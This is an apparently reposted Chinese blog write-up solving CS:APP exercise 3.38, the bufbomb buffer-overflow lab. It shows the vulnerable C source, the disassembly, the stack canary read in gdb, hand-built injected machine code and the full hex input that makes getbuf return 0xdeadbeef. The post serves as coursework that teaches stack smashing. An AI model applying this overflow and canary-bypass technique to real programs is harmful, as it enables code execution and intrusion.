您的位置:首页 > 理论基础

缓冲区溢出——《深入理解计算机系统》习题3.38详解

2010-08-20 00:27 387 查看
缓冲区溢出——《深入理解计算机系统》习题 3.38 详解

最近在攻读《深入理解计算机系统》( CS:APP) 一书,上面的实验题很有趣味。习题 3.38 说明了缓冲区溢出的基本原理,我颇费了一番心思才搞定了这道题,详解如下。

一、题目:
从 CS : APP 的网站上下载文件 bufbomb.c ,地址http://csapp.cs.cmu.edu/public/1e/public/ics/code/asm/bufbomb.c
内容如下:

01 /* Bomb program that is solved using a buffer overflow attack */
02
03 #include <stdio.h>
04 #include <stdlib.h>
05 #include <ctype.h>
06
07 /* Like gets, except that characters are typed as pairs of hex digits.
08 Nondigit characters are ignored. Stops when encounters newline */
09 char *getxs(char *dest)
10 {
11 int c;
12 int even = 1; /* Have read even number of digits */
13 int otherd = 0; /* Other hex digit of pair */
14 char *sp = dest;
15 while ((c = getchar()) != EOF && c != '/n') {
16 if (isxdigit(c)) {
17 int val;
18 if ('0' <= c && c <= '9')
19 val = c - '0';
20 else if ('A' <= c && c <= 'F')
21 val = c - 'A' + 10;
22 else
23 val = c - 'a' + 10;
24 if (even) {
25 otherd = val;
26 even = 0;
27 } else {
28 *sp++ = otherd * 16 + val;
29 even = 1;
30 }
31 }
32 }
33 *sp++ = '/0';
34 return dest;
35 }
36
37 /* $begin getbuf-c */
38 int getbuf()
39 {
40 char buf[12];
41 getxs(buf);
42 return 1;
43 }
44
45 void test()
46 {
47 int val;
48 printf("Type Hex string:");
49 val = getbuf();
50 printf("getbuf returned 0x%x/n", val);
51 }
52 /* $end getbuf-c */
53
54 int main()
55 {
56
57 int buf[16];
58 /* This little hack is an attempt to get the stack to be in a
59 stable position
60 */
61 int offset = (((int) buf) & 0xFFF);
62 int *space = (int *) alloca(offset);
63 *space = 0; /* So that don't get complaint of unused variable */
64 test();
65 return 0;
66 }

函数 getxs (也在 bufbomb.c 中)类似于库函数 gets ,除了它是以十六进制数字对的编码方式读入字符的以外。比如说,要给它一个字符串 "0123" ,用户应该输入字符串“ 30 31 32 33” 。这个函数会忽略空格字符。回忆一下,十进制数字 x 的 ASCII 表示为 0x3x 。
很明显,正常情况下,无论输入的是多少,都应该打印出 1 ,书上给出的典型的运行结果如下:

unix>./bufbomb
Type Hex string:30 31 32 33
getbuf returned 0x1

而我们的任务是,只简单地对提示符输入一个适当的十六进制字符串,就使 getbuf 对 test 返回 -559038737(0xdeadbeef) 。
本题最终求得的字符串是非常依赖于机器和编译器的,实际上我的实验表明,由于栈保护机制的作用,每一次运行时的字符串都会不同。
书中还给出了三条很有价值的建议,在下文的解题过程中会体现出来,此处略去不提。

二、运行平台:
我的系统是 Ubuntu 8.10 ,内核 Linux 2.6.27 ,编译器 gcc-4.3.2 。

三、详解:
1、编译 bufbomb.c ,再用 objdump -d 命令反汇编,抽取其中有价值的两个函数的汇编代码如下:

08048574 <getbuf>:
8048574: 55 push %ebp
8048575: 89 e5 mov %esp,%ebp
常规的栈处理
8048577: 83 ec 18 sub $0x18,%esp
分配栈空间 24 字节
804857a: 65 a1 14 00 00 00 mov %gs:0x14,%eax
8048580: 89 45 fc mov %eax,-0x4(%ebp)
取 %gs:0x14 处的内容放到栈
中,用于溢出保护
8048583: 31 c0 xor %eax,%eax
8048585: 8d 45 f0 lea -0x10(%ebp),%eax
缓冲区的首地址
8048588: 89 04 24 mov %eax,(%esp)
将缓冲区的首地址放入栈中,
作为参数传递给函数 getxs
804858b: e8 14 ff ff ff call 80484a4 <getxs>
8048590: b8 01 00 00 00 mov $0x1,%eax
将返回值放入 %eax 中
8048595: 8b 55 fc mov -0x4(%ebp),%edx
8048598: 65 33 15 14 00 00 00 xor %gs:0x14,%edx
检测栈是否溢出
804859f: 74 05 je 80485a6 <getbuf+0x32>
80485a1: e8 36 fe ff ff call 80483dc <__stack_chk_fail@plt> 栈溢出错误处理
80485a6: c9 leave
80485a7: c3 ret

080485a8 <test>:
80485a8: 55 push %ebp
80485a9: 89 e5 mov %esp,%ebp
80485ab: 83 ec 18 sub $0x18,%esp
80485ae: c7 04 24 20 87 04 08 movl $0x8048720,(%esp)
80485b5: e8 12 fe ff ff call 80483cc <printf@plt>
80485ba: e8 b5 ff ff ff call 8048574 <getbuf>
80485bf: 89 45 fc mov %eax,-0x4(%ebp)
函数 getbuf 的返回地址
80485c2: 8b 45 fc mov -0x4(%ebp),%eax
80485c5: 89 44 24 04 mov %eax,0x4(%esp)
80485c9: c7 04 24 31 87 04 08 movl $0x8048731,(%esp)
80485d0: e8 f7 fd ff ff call 80483cc <printf@plt>
80485d5: c9 leave
80485d6: c3 ret

在这段汇编代码中的重要部分已经做了注释,需要特别注意的是一下几点:
( 1 )函数 getbuf 的栈结构如下所示:

---------------
返回地址
---------------
保存的 %ebp <------%ebp
---------------
%gs:0x14 的值
---------------
缓冲区
---------------
缓冲区
---------------
缓冲区
---------------
保留区域
---------------
保留区域 <------%esp
---------------

栈结构中上层是高地址,下层是低地址,每一层为 4 字节。可以清晰地看出开辟了总共 12 字节的缓冲区。不过,实际上只能用 11 字节,因为必须保留最后一个字节用作字符串的结束符 '/0' 。由 bufbomb.c 的代码可知,函数 getxs 会将 '/0' 写入字符串的末尾。

( 2 )编译器的栈溢出保护。这个问题困扰了我好久,刚开始我根本不明白怎么突然冒出来个 %gs:0x14 ,还进行了好几次莫名其妙的操作。仔细观察汇编代码,发现原来编译器是利用存储器中地址为 %gs:0x14 处的值进行溢出保护。将这个值放入紧邻帧指针 %ebp 的那四个字节中,在缓冲区存储结束后再比较这个值和内存中的原值。如果缓冲区溢出,这个值十之八九会被修改,则程序跳转到栈溢出的异常处理。
也许是 CS:APP 这本书写的时候 gcc 还没有这个功能吧,要不怎么书中一点儿也没有提到这事情。不过,这种机制使得每次攻击这个程序所使用的字符串都必须不同,只能每次都使用 gdb 调试才能知道内存 %gs:0x14 中到底是什么,然后才能确定攻击字符串。

2 、由 getbuf 的汇编代码可知, getbuf 将 0x1 放到 %eax 寄存器中,向函数 test 传递返回值。因此,要想让 test 收到不同的返回值,就必须在返回 test 之前把寄存器 %eax 的值修改为 0xdeadbeef 。
我的方案是:在缓冲区中存入指令,将 %eax 设为 0xdeadbeef 。利用缓冲区溢出,把上面示意图中的前三层栈全部覆盖,修改返回地址为缓冲区的首地址。这样 getbuf 返回后就能执行我存在缓冲区中的指令了。
可见,在缓冲区中存入的指令必须完成一下两个任务:
( 1 )将 %eax 寄存器的值修改为 0xdeadbeef
( 2 )正常返回函数 test
由函数 test 的汇编代码可知, getbuf 的返回地址为 0x80485bf 。所以,可以确定我要写入缓冲区的指令为:
mov $0xdeadbeef, %eax
push $0x80485bf
ret

将这些代码保存为文件 overflow.s ,用命令 gcc -c 编译,再用 objdump -d 反汇编可得这些指令对应的机器代码如下:
0: b8 ef be ad de mov $0xdeadbeef,%eax
5: 68 bf 85 04 08 push $0x80485bf
a: c3 ret
代码总共 11 字节,缓冲区共有 12 字节,因此在末尾加上一个 0x90 空操作指令。所以在缓冲区输入的指令代码为:
b8 ef be ad de 68 bf 85 04 08 c3 90

3 、用 gdb bufbomb 调试,在 getbuf 中设置断点,确定上面栈图示中前三层的内容。
以下是我的一次完整的运行过程:

(gdb) run bufbomb
Starting program: /home/deepenxu/bufbomb bufbomb

Breakpoint 1, 0x0804857a in getbuf ()
(gdb) info registers
eax 0x10 16
ecx 0x0 0
edx 0xb7f150d0 -1208921904
ebx 0xb7f13ff4 -1208926220
esp 0xbfa3ffa0 0xbfa3ffa0
ebp 0xbfa3ffb8 0xbfa3ffb8
esi 0x8048670 134514288
edi 0x80483f0 134513648
eip 0x804857a 0x804857a <getbuf+6>
eflags 0x200286 [ PF SF IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51

得到 %ebp 的值 0xbfa3ffb8 ,缓冲区的首地址为 -0x10(%ebp) = 0xbfa3ffa8

(gdb) stepi
0x08048580 in getbuf ()
(gdb) print /x $eax
$2 = 0xb4b0b000

取得 %gs:0x14 的值

(gdb) x/4 0xbfa3ffb8
0xbfa3ffb8: 0xbfa3ffd8 0x080485bf 0x08048720 0x00000000
寻找最近的 '/0'
(gdb) continue
Continuing.
Type Hex string:b8 ef be ad de 68 bf 85 04 08 c3 90 00 b0 b0 b4 d8 ff a3 bf a8 ff a3 bf 20 87 04 08
getbuf returned 0xdeadbeef

Program exited normally.
完成任务!
(gdb) kill
The program is not being run.
(gdb) delete
Delete all breakpoints? (y or n) y
(gdb) quit
退出 gdb

中文部分是我做的注释,在以上步骤中,有两点特别值得注意:
( 1 )输入字符串的时候要小心顺序!从低地址向高地址逐个字节地输入。
( 2 ) getxs 函数会在字符串末尾加上 '/0' ,也就是一个字节的 0x00 。这是一个不可忽视的细节。因此必须检查覆盖掉返回地址后内存中最近的一个 0x00 出现在哪里,然后就覆盖到这里。如我输入的字符串的最后五个字节: bf 20 87 04 08 就是这个目的。我反复试验了很多次,每次都不一样,有时可能要多输入很多字节。

至此,本题可算是告一段落了。我还有一个小小的问题没有解决,不知道用 jmp 指令能不能跳转到缓冲区的攻击代码处呢?尝试一下。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: